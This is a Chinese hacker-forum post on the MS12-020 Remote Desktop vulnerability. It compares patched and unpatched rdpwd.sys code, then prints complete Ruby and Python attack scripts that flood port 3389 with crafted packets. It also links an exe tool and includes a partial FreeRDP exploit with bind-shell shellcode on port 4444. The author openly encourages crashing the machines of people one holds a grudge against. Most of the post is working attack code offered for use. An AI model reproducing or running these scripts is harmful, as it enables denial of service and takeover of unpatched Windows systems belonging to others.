MS12-020 漏洞利用程序


根据大家的测试,多数为直接蓝屏。
根据Silic Group的调查,蓝屏的出现基本可以确定是因为MS11-065补丁的原因。本文的PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写
微软通过MS11-065修改了rdpwd.sys文件并更新了版本,所以导致没打过MS11-065的机器就出现了蓝屏等症状。
通过本论坛交流群内成员的各种测试结果,发送580 byte数据包的基本可以成功,内网或者同C段则成功率比较高,其他情况则蓝屏现象严重
另外请不要质疑测试脚本与ms12-020漏洞的真实性,蓝屏则表示漏洞存在,只是shellcode在内存覆盖的位置有问题。
如果不爽,跟谁有仇就干谁,重启就蓝重启就蓝重启就蓝,补丁都打不上,这东西比DDoS稳定


本文末尾将付上MS12-020真正的PoC,编写语言为ruby和python两个版本的,还有一个exe程序,均不需要什么freerdp包之类的东西。
Sabu写的那个不是MS12-020的shellcode,而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子,其他的地方还真没流传出来。
新闻把这个炒作起来,完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。

PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的,因为既然有漏洞的文件知道了,就会有人根据分析有漏洞的文件写出shellcode,不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。
其实之前我这里在14号当天就拿到了一个nasl的测试脚本,nasl版本的PoC真的要执行指定命令并不太容易,多数都拒绝服务了,不过测试中580byte的shellcode是成功率最高的。
也就是说,网上流传的截图也好,视频也好,有sent从一百两百到上万byte的PoC程序截图,这些截图明显就是假的了
OK,步入正文
//blackbap.org
MS12-020于前天被爆存在高危远程代码执行漏洞,可以通过向远程桌面端口发送特定的RDP包获得管理员权限,存在漏洞的文件是rdpwd.sys,出现漏洞的原因,恐怕现在网上已经泛滥的一塌糊涂了,那就是HandleAttachUserReq()函数。
其实早在2011年8月的时候,微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞,漏洞代号是MS11-065。
注:本文并非专业分析
但是转载请注明本文来自:Silic Group Hacker Army[http://blackbap.org]
首先,第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同:
更新前的代码:

  1. char __thiscall HandleAttachUserReq(int this, int a2, int a3)
  2. {
  3. int v3; // esi@1
  4. int v4; // eax@3
  5. int v6; // [sp-8h] [bp-18h]@3
  6. char v7; // [sp+4h] [bp-Ch]@3
  7. int v8; // [sp+8h] [bp-8h]@3
  8. int v9; // [sp+Ch] [bp-4h]@2
  9. v3 = this;
  10. *(_DWORD *)a3 = 1;
  11. if ( *(_BYTE *)(this + 16) & 0×20 )
  12. {
  13. while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
  14. ;
  15. v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
  16. v6 = *(_DWORD *)(v9 + 16);
  17. if ( v4 )
  18. {
  19. CreateAttachUserCon(14, 0, 0, v6);
  20. *(_DWORD *)(v9 + 20) = 9;
  21. }
  22. else
  23. {
  24. CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
  25. *(_DWORD *)(v9 + 20) = 11;
  26. *(_BYTE *)(v8 + 4) = 0;
  27. }
  28. if ( SendOutBuf(v3, v9) < 0 )
  29. SListRemove(v3 + 112, v8, &v8);
  30. }
  31. return 1;
  32. }

复制代码

更新后的代码:

  1. char __thiscall HandleAttachUserReq(int this, int a2, int a3)
  2. {
  3. int v3; // esi@1
  4. int v4; // eax@3
  5. int v6; // [sp-8h] [bp-18h]@3
  6. char v7; // [sp+4h] [bp-Ch]@3
  7. int v8; // [sp+8h] [bp-8h]@3
  8. int v9; // [sp+Ch] [bp-4h]@2
  9. v3 = this;
  10. *(_DWORD *)a3 = 1;
  11. if ( *(_BYTE *)(this + 16) & 0×20 )
  12. {
  13. while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
  14. ;
  15. v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
  16. v6 = *(_DWORD *)(v9 + 16);
  17. if ( v4 )
  18. {
  19. CreateAttachUserCon(14, 0, 0, v6);
  20. *(_DWORD *)(v9 + 20) = 9;
  21. }
  22. else
  23. {
  24. CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
  25. *(_DWORD *)(v9 + 20) = 11;
  26. *(_BYTE *)(v8 + 4) = 0;
  27. }
  28. if ( SendOutBuf(v3, v9) < 0 )
  29. {
  30. SListRemove(v3 + 112, v8, &v8);
  31. //注意下面的if语句,这是更新后的代码 blackbap.org
  32. if ( p )
  33. {
  34. if ( !*((_BYE *)P + 5) )
  35. ExFreePoolWithTag(P, 0);
  36. }
  37. }
  38. }
  39. return 1;
  40. }

复制代码

是的,代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用
原:

  1. 0002CB30 @HandleAttachUserReq@16
  2. 0002CBB8 push ss:[ebp+var_4]
  3. 0002CBBB push esi
  4. 0002CBBC call _SendOutBuf@8
  5. 0002CBC1 test eax, eax
  6. 0002CBC3 pop ebx
  7. 0002CBC4 jge loc_2CBD6
  8. 0002CBC6 lea eax, ss:[ebp+var_8]
  9. 0002CBC9 push eax
  10. 0002CBCA push ss:[ebp+var_8]
  11. 0002CBCD add esi, 0×70
  12. 0002CBD0 push esi
  13. 0002CBD1 call _SListRemove@12
  14. 0002CBD6 mov b1 a1, b1 1
  15. 0002CBD8 pop esi
  16. 0002CBD9 leave
  17. 0002CBDA retn b2 8

复制代码

这是后面加过检查和释放函数的:

  1. 0002CB44 @HandleAttachUserReq@16
  2. 0002CBCC push ss:[ebp+var_4]
  3. 0002CBCF push esi
  4. 0002CBD0 call _SendOutBuf@8
  5. 0002CBD5 test eax, eax
  6. 0002CBD7 jge loc_2CBD6
  7. 0002CBD9 lea eax, ss:[ebp+var_P]
  8. 0002CBDC push eax
  9. 0002CBDD push ss:[ebp+var_P]
  10. 0002CBE0 add esi, 0×70
  11. 0002CBE3 push esi
  12. 0002CBE4 call _SListRemove@12 //SListRemove(x,x,x)
  13. 0002CBE9 mov eax, ss:[ebp+P]
  14. 0002CBEC cmp eax, ebx
  15. 0002CBEE jz loc_2CBFD
  16. 0002CBF0 cmp b1 ds:[eax+5],b1 b1
  17. 0002CBF3 jnz loc_2CBFD
  18. 0002CBF5 push ebx //Tag
  19. 0002CBF6 push ebx //P
  20. 0002CBF7 call ds:[__imp__ExFreePoolWithTag@8] //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x)
  21. //CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
  22. //HandleAttachUserReq(x,x,x,x)+94j …
  23. 0002CBFD pop esi
  24. 0002CBFE mov b1 a1, b1 1
  25. 0002CC00 pop ebx
  26. 0002CC01 leave
  27. 0002CC02 retn b2 8

复制代码

通过检查,上述函数似乎只解决了内存泄露问题,并没有解决内存不释放的问题??
还有一个函数也是疑似检查用户数据的,疑似是边界的检查

  1. 0001978A call _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)
  2. 0001978F test eax, eax
  3. 00019791 jz short loc_1973D
  4. 00019793 push 0
  5. 00019795 push esi
  6. 00019796 push [ebp+arg_4]
  7. 00019799 push [ebp+var_4]
  8. 0001979C push [ebp+var_8]
  9. 0001979F push [ebp+var_C]
  10. 000197A2 push [ebp+arg_0]
  11. 000197A5 call _WDWConnect@28 //WDWConnect(x,x,x,x,x,x,x)

复制代码

上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。
下面就贴出ruby语言的利用脚本:

  1. #!/usr/bin/env ruby
  2. # ms12-020 PoC
  3. # NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题
  4. # Author: Joshua J. Drake(jduck)
  5. # From: BlackBap.Org
  6. # Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
  7. require ‘socket’
  8. def send_tpkt(sd, data)
  9. sd.write(make_tpkt(data))
  10. end
  11. def make_tpkt(data)
  12. [
  13. 3, # version
  14. 0, # reserved
  15. 4 + data.length
  16. ].pack(‘CCn’) + data
  17. end
  18. def make_x224(data)
  19. [ data.length ].pack(‘C’) + data
  20. end
  21. def make_rdp(type, flags, data)
  22. [ type, flags, 4 + data.length ].pack(‘CCv’) + data
  23. end
  24. host = ARGV.shift
  25. sd = TCPSocket.new(host, 3389)
  26. pkts1 = []
  27. # craft connection request
  28. rdp = make_rdp(1, 0, [ 0 ].pack(‘V’))
  29. x224_1 = make_x224([
  30. 0xe0, # Connection request
  31. 0, # ??
  32. 0, # SRC-REF
  33. 0 # Class : Class 0
  34. ].pack(‘CnnC’) + rdp)
  35. pkts1 << make_tpkt(x224_1)
  36. # craft connect-initial
  37. x224_2 = make_x224([
  38. 0xf0, # Data / Class 0
  39. 0x80 # EOT: True / NR: 0
  40. ].pack(‘CC’))
  41. # mcsCi
  42. target_params = “”+
  43. #”\x02\x01\x00″+ # maxChannelIds
  44. “\x02\x04\x00\x00\x00\x22″+ # maxChannelIds
  45. “\x02\x04\x00\x00\x00\x0a”+ # maxUserIds
  46. “\x02\x04\x00\x00\x00\x00″+ # maxTokenIds
  47. “\x02\x04\x00\x00\x00\x01″+ # numPriorities
  48. “\x02\x04\x00\x00\x00\x00″+ # minThroughput
  49. “\x02\x04\x00\x00\x00\x01″+ # maxHeight
  50. “\x02\x02\xff\xff”+ # maxMCSPDUSize
  51. “\x02\x04\x00\x00\x00\x02″ # protocolVersion
  52. min_params = “”+
  53. “\x02\x04\x00\x00\x00\x01″+ # maxChannelIds
  54. “\x02\x04\x00\x00\x00\x01″+ # maxUserIds
  55. “\x02\x04\x00\x00\x00\x01″+ # maxTokenIds
  56. “\x02\x04\x00\x00\x00\x01″+ # numPriorities
  57. “\x02\x04\x00\x00\x00\x00″+ # minThroughput
  58. “\x02\x04\x00\x00\x00\x01″+ # maxHeight
  59. “\x02\x02\x04\x20″+ # maxMCSPDUSize
  60. “\x02\x04\x00\x00\x00\x02″ # protocolVersion
  61. max_params = “”+
  62. “\x02\x02\xff\xff”+ # maxChannelIds
  63. “\x02\x02\xfc\x17″+ # maxUserIds
  64. “\x02\x02\xff\xff”+ # maxTokenIds
  65. “\x02\x04\x00\x00\x00\x01″+ # numPriorities
  66. “\x02\x04\x00\x00\x00\x00″+ # minThroughput
  67. “\x02\x04\x00\x00\x00\x01″+ # maxHeight
  68. “\x02\x02\xff\xff”+ # maxMCSPDUSize
  69. “\x02\x04\x00\x00\x00\x02″ # protocolVersion
  70. userdata = “”+
  71. # gccCCrq
  72. “\x00\x05\x00\x14″+
  73. “\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63″+”\x61\x81\x1c”+
  74. # clientCoreData
  75. “\x01\xc0″+”\xd8\x00″+ # header (type, len)
  76. “\x04\x00″+”\x08\x00″+ # version
  77. “\x80\x02″+ # desktop width
  78. “\xe0\x01″+ # desktop height
  79. “\x01\xca”+ # color depth
  80. “\x03\xaa”+ # SASSequence
  81. “\x09\x04\x00\x00″ + # keyboard layout
  82. “\xce\x0e\x00\x00″ + # client build number
  83. # client name
  84. “\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
  85. “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
  86. “\x04\x00\x00\x00″+ # keyboard type
  87. “\x00\x00\x00\x00″+ # kbd subType
  88. “\x0c\x00\x00\x00″+ # kbd FuncKey
  89. # imeFileName
  90. “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
  91. “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
  92. “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
  93. “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
  94. “\x01\xca”+ # postBeta2ColorDepth
  95. “\x01\x00″+ # clientProductId
  96. “\x00\x00\x00\x00″ + # serialNumber
  97. “\x10\x00″+ # highColorDepth
  98. “\x07\x00″+ # supportedColorDepths
  99. “\x01\x00″+ # earlyCapabilityFlags
  100. # clientDigProductId -poc has: “00000-000-0000000-00000″
  101. “\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00″+
  102. “\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00″+
  103. “\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00″+
  104. “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
  105. “\x00″+ # connectionType
  106. “\x00″+ # pad1octet
  107. “\x00\x00\x00\x00″+ # serverSelectedProtocol
  108. “\x04\xc0\x0c\x00″+ # desktopPhysicalWidth
  109. “\x0d\x00\x00\x00″+ # desktopPhysicalHeight
  110. “\x00\x00\x00\x00″+ # reserved
  111. # clientSecurityData
  112. “\x02\xc0″+”\x0c\x00″+ # header (type, len)
  113. “\x1b\x00\x00\x00″+ # encryptionMethods
  114. “\x00\x00\x00\x00″+ # extEncryptionMethods
  115. # clientNetworkData
  116. “\x03\xc0″+”\x2c\x00″+ # header (type, len)
  117. “\x03\x00\x00\x00″+ # channel count!
  118. # channel 0
  119. “rdpdr\x00\x00\x00″+ # name
  120. “\x00\x00\x80\x80″+ # options
  121. # channel 1
  122. “cliprdr\x00″+ # name
  123. “\x00\x00\xa0\xc0″+ # options
  124. # channel 2
  125. “rdpsnd\x00\x00″+ # name
  126. “\x00\x00\x00\xc0″ # options
  127. # clientClusterData (not present)
  128. # clientMonitorData (not present)
  129. mcs_data = “”+
  130. “\x04\x01\x01″+ # callingDomainSelector
  131. “\x04\x01\x01″+ # calledDomainSelector
  132. “\x01\x01\xff”+ # upwardFlag
  133. #”\x30″ + [ target_params.length ].pack(‘C’) + target_params +
  134. #”\x30″ + [ min_params.length ].pack(‘C’) + min_params +
  135. #”\x30″ + [ max_params.length ].pack(‘C’) + max_params +
  136. “\x30″ + [ 0x19 ].pack(‘C’) + target_params +
  137. “\x30″ + [ 0x19 ].pack(‘C’) + min_params +
  138. “\x30″ + [ 0x1c ].pack(‘C’) + max_params +
  139. # userData
  140. “\x04\x82″ + [ userdata.length ].pack(‘n’) + userdata
  141. #mcs = “\x7f\x65\x82″ + [ mcs_data.length ].pack(‘n’) # connect-initial (0×65 / 101), length
  142. mcs = “\x7f\x65\x82″ + [ 0x194 ].pack(‘n’) # connect-initial (0×65 / 101), length
  143. mcs << mcs_data
  144. pkts1 << make_tpkt(x224_2 + mcs)
  145. # send a special one?
  146. pkts1 << make_tpkt(x224_2 + “\x04\x01\x00\x01\x00″)
  147. # send more pkts! – based on poc
  148. 10.times {
  149. pkts1 << make_tpkt(x224_2 + “\x28″)
  150. }
  151. pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xea”)
  152. pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xeb”)
  153. pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xec”)
  154. pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xed”)
  155. pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xee”)
  156. pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf0″)
  157. pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf1″)
  158. pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf2″)
  159. pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf3″)
  160. pkts1 << make_tpkt(x224_2 + “\x21\x80″)
  161. bigpkt = pkts1.join(”)
  162. loop {
  163. sd.write(bigpkt)
  164. send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01″)
  165. send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02″)
  166. send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03″)
  167. send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04″)
  168. # read connect-initial response
  169. buf = sd.recv(1500)
  170. # XXX: TODO: check response =)
  171. #puts buf
  172. }
  173. sd.close
  174. # BlackBap.Org

复制代码

既然ruby的数据包上已经声明了,这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言:

  1. #ms12-020 “chinese shit” PoC v2 (wireshark版)
  2. # 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
  3. # Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
  4. # 附件中添加time.sleep修正bug版本的py脚本
  5. # BlackBap.Org
  6. import socket
  7. import sys
  8. buf=”"
  9. buf+=”\x03\x00\x00\x13″ # TPKT, Version 3, lenght 19
  10. buf+=”\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00″ # ITU-T Rec X.224
  11. buf+=”\x03\x00\x01\xd6″ # TPKT, Version 3, lenght 470
  12. buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
  13. buf+=”\x7f\x65\x82\x01\x94\x04″ #MULTIPOINT-COMMUNICATION-SERVICE T.125
  14. buf+=”\x01\x01\x04\x01\x01\x01\x01\xff” # “Fuck you Chelios” packet
  15. buf+=”\x30\x19\x02\x04\x00\x00\x00\x00″
  16. buf+=”\x02\x04\x00\x00\x00\x02\x02\x04″
  17. buf+=”\x00\x00\x00\x00\x02\x04\x00\x00″
  18. buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″
  19. buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″
  20. buf+=”\xff\xff\x02\x04\x00\x00\x00\x02″
  21. buf+=”\x30\x19\x02\x04\x00\x00\x00\x01″
  22. buf+=”\x02\x04\x00\x00\x00\x01\x02\x04″
  23. buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″
  24. buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″
  25. buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″
  26. buf+=”\x04\x20\x02\x04\x00\x00\x00\x02″
  27. buf+=”\x30\x1c\x02\x02\xff\xff\x02\x02″
  28. buf+=”\xfc\x17\x02\x02\xff\xff\x02\x04″
  29. buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″
  30. buf+=”\x00\x00\x02\x04\x00\x00\x00\x01″
  31. buf+=”\x02\x02\xff\xff\x02\x04\x00\x00″
  32. buf+=”\x00\x02\x04\x82\x01\x33\x00\x05″
  33. buf+=”\x00\x14\x7c\x00\x01\x81\x2a\x00″
  34. buf+=”\x08\x00\x10\x00\x01\xc0\x00\x44″
  35. buf+=”\x75\x63\x61\x81\x1c\x01\xc0\xd8″
  36. buf+=”\x00\x04\x00\x08\x00\x80\x02\xe0″
  37. buf+=”\x01\x01\xca\x03\xaa\x09\x04\x00″
  38. buf+=”\x00\xce\x0e\x00\x00\x48\x00\x4f”
  39. buf+=”\x00\x53\x00\x54\x00\x00\x00\x00″
  40. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  41. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  42. buf+=”\x00\x00\x00\x00\x00\x04\x00\x00″
  43. buf+=”\x00\x00\x00\x00\x00\x0c\x00\x00″
  44. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  45. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  46. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  47. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  48. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  49. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  50. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  51. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  52. buf+=”\x00\x01\xca\x01\x00\x00\x00\x00″
  53. buf+=”\x00\x10\x00\x07\x00\x01\x00\x30″
  54. buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″
  55. buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
  56. buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
  57. buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″
  58. buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
  59. buf+=”\x00\x30\x00\x30\x00\x00\x00\x00″
  60. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  61. buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
  62. buf+=”\x00\x00\x00\x00\x00\x04\xc0\x0c”
  63. buf+=”\x00\x0d\x00\x00\x00\x00\x00\x00″
  64. buf+=”\x00\x02\xc0\x0c\x00\x1b\x00\x00″
  65. buf+=”\x00\x00\x00\x00\x00\x03\xc0\x2c”
  66. buf+=”\x00\x03\x00\x00\x00\x72\x64\x70″
  67. buf+=”\x64\x72\x00\x00\x00\x00\x00\x80″
  68. buf+=”\x80\x63\x6c\x69\x70\x72\x64\x72″
  69. buf+=”\x00\x00\x00\xa0\xc0\x72\x64\x70″
  70. buf+=”\x73\x6e\x64\x00\x00\x00\x00\x00″
  71. buf+=”\xc0″
  72. buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
  73. buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
  74. buf+=”\x04\x01\x00\x01\x00″ # MULTIPOINT-COMMUNICATION-SERVICE T.125
  75. buf+=”\x03\x00\x00\x08″ #TPKT, Version 3, Length 8
  76. buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
  77. buf+=”\x28″ # MULTIPOINT-COMM-SERVICE T.125
  78. buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
  79. buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
  80. buf+=”\x38\x00\x06\x03\xef” # MULTIPOINT-COMM-SERVICE T.125
  81. buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
  82. buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
  83. buf+=”\x38\x00\x06\x03\xeb” # MULTIPOINT-COMM-SERVICE T.125
  84. buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
  85. buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
  86. buf+=”\x38\x00\x06\x03\xec”# MULTIPOINT-COMM-SERVICE T.125
  87. buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
  88. buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
  89. buf+=”\x38\x00\x06\x03\xed”# MULTIPOINT-COMM-SERVICE T.125
  90. buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
  91. buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
  92. buf+=”\x38\x00\x06\x03\xee”# MULTIPOINT-COMM-SERVICE T.125
  93. buf+=”\x03\x00\x00\x0b” # TPKT, Version 3, Lenght 12
  94. buf+=”\x06\xd0\x00\x00\x12\x34\x00″ #ITU-T Rec X.224
  95. HOST = sys.argv[1]
  96. PORT = 3389
  97. for i in range(1000):
  98. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  99. s.connect((HOST,PORT))
  100. print “sending: %d bytes” % len(buf)
  101. s.send(buf)
  102. rec = s.recv(100)
  103. print “received: %d bytes” % len(rec)
  104. s.close()
  105. # BlackBap.Org

复制代码

据测试,上面版本的Chinese Shit仍然有很多bug,附件中新增了time.sleep修正bug版本的py脚本
如果你比较懒,可以直接下载以上PoC的压缩包,如果你比较勤快,可以点击以上代码的“复制代码”,并保存于记事本并重命名为xx.rb和xx.py并自己修正bug

附件说明:
*
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
*
* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
* 西班牙语XP SP3和Win7/R2都成功
*
* Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本
* 添加了time.sleep
*
* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
* rdp IP -v如果对方机器重启表示漏洞存在,且可利用。
*
* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的[email protected]的娱乐版PoC
*
*
* Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
* BlackBap.Org
*提供一个Win下测试成功的, 不需要ruby环境的EXE程序:

http://115.com/file/dpq7v1u4#

MS12-020利用工具-含bug修正版.rar











-----------------------一下为早期---------------------------
需要安装 FREERDP

这个貌似就是大家苦苦寻找的 ms12-020 exp

下载地址:http://115.com/file/anmgwyzh

视频地址:http://good.gd/1975261.htm

FREERDP 模块:https://github.com/FreeRDP/FreeRDP/downloads

转载于Dis9

标签: FREERDP 地址 http 貌似 downloads

MS12-020: 远程桌面中允许远程执行代码漏洞



这是网上流传的 ms12-020 exp py 版本代码:

#!/usr/bin/env python
#############################################################################
#   MS12-020 Exploi
#
#   Uses FreeRDP
#############################################################################

import struct
import sys
from freerdp import rdpRdp
from freerdp import crypto
from freerdp.rdpRdp import  rdpNego

#bind shellcode TCP port 4444
shellcode  = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
shellcode += '\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9'
shellcode += '\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56'
shellcode += '\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22'
shellcode += '\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30'
shellcode += '\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81'
shellcode += '\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42'
shellcode += '\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22'
shellcode += '\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9'
shellcode += '\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79'
shellcode += '\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab'
shellcode += '\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa'
shellcode += '\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48'
shellcode += '\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1'
shellcode += '\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0'
shellcode += '\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe'
shellcode += '\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9'
shellcode += '\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84'
shellcode += '\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56'
shellcode += '\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8'
shellcode += '\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79'
shellcode += '\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6'
shellcode += '\xba\xb5\x60\x56\x39\x4a\xb6\xa9'

#Payload
payload  = '\x41\x00\x5c\x00'
payload += '\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49'
payload += '\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x68'
payload += '\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x78\x42\x32\x42\x41\x32'
payload += '\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4b\x59\x49\x6c\x43'
payload += '\x5a\x7a\x4b\x32\x6d\x5a\x48\x5a\x59\x69\x6f\x4b\x4f\x39\x6f\x71'
payload += '\x70\x6e\x6b\x62\x4c\x44\x64\x71\x34\x4c\x4b\x62\x65\x75\x6c\x4c'
payload += '\x4b\x63\x4c\x76\x65\x70\x78\x35\x51\x48\x6f\x6c\x4b\x50\x4f\x74'
payload += '\x58\x6e\x6b\x33\x6f\x55\x70\x37\x71\x48\x6b\x57\x39\x6c\x4b\x66'
payload += '\x54\x6e\x6b\x46\x61\x7a\x4e\x47\x41\x6b\x70\x7a\x39\x4c\x6c\x4c'
payload += '\x44\x6f\x30\x62\x54\x44\x47\x38\x41\x4b\x7a\x54\x4d\x44\x41\x4b'
payload += '\x72\x78\x6b\x39\x64\x35\x6b\x53\x64\x75\x74\x46\x48\x72\x55\x79'
payload += '\x75\x6c\x4b\x53\x6f\x76\x44\x44\x41\x48\x6b\x35\x36\x4e\x6b\x54'
